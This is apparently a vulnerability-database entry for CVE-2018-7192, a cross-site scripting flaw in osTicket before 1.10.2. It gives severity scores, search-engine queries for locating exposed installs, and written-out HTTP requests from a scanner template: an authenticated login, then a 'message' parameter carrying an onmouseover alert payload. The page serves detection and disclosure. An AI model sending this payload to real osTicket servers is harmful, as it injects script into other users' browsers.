🔙 목록으로 돌아가기

CVE-2018-7192: osTicket < 1.10.2 - Cross-Site Scripting

TitleosTicket < 1.10.2 - Cross-Site Scripting
Authorritikchaddha
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.
RemediationUpgrade osTicket to later version to mitigate this vulnerability.
CVSS Score6.1
EPSS Score0.00775
CVE IDCVE-2018-7192
CWE IDCWE-79
Shodan Querytitle:"osTicket"
Fofa Querytitle="osticket"
Tags cve cve2018 osticket xss authenticated vuln

🔍 Vulnerability Description

Cross-site scripting (XSS) vulnerability in /ajax.php/form/help-topic in Enhancesoft osTicket before 1.10.2 allows remote attackers to inject arbitrary web script or HTML via the “message” parameter.

🌐 HTTP Request

GET /scp/login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5
Connection: close
Accept-Encoding: gzip
POST /scp/login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.5 Safari/605.1.15
Connection: close
Content-Length: 67
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

__CSRFToken__=C9Ybzb&do=scplogin&userid=YiBuhf&passwd=UYTmCQ&ajax=1
GET /ajax.php/form/help-topic/1?a934f512c6644b03&message=dgh7r%20onmouseover%3dalert(document.domain)%20style%3dposition%3aabsolute%3bwidth%3a100%25%3bheight%3a100%25%3btop%3a0%3bleft%3a0%3b%20qavj5 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-7192.yaml

🦈 Packet Capture: ⬇️ Download cve-2018-7192.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A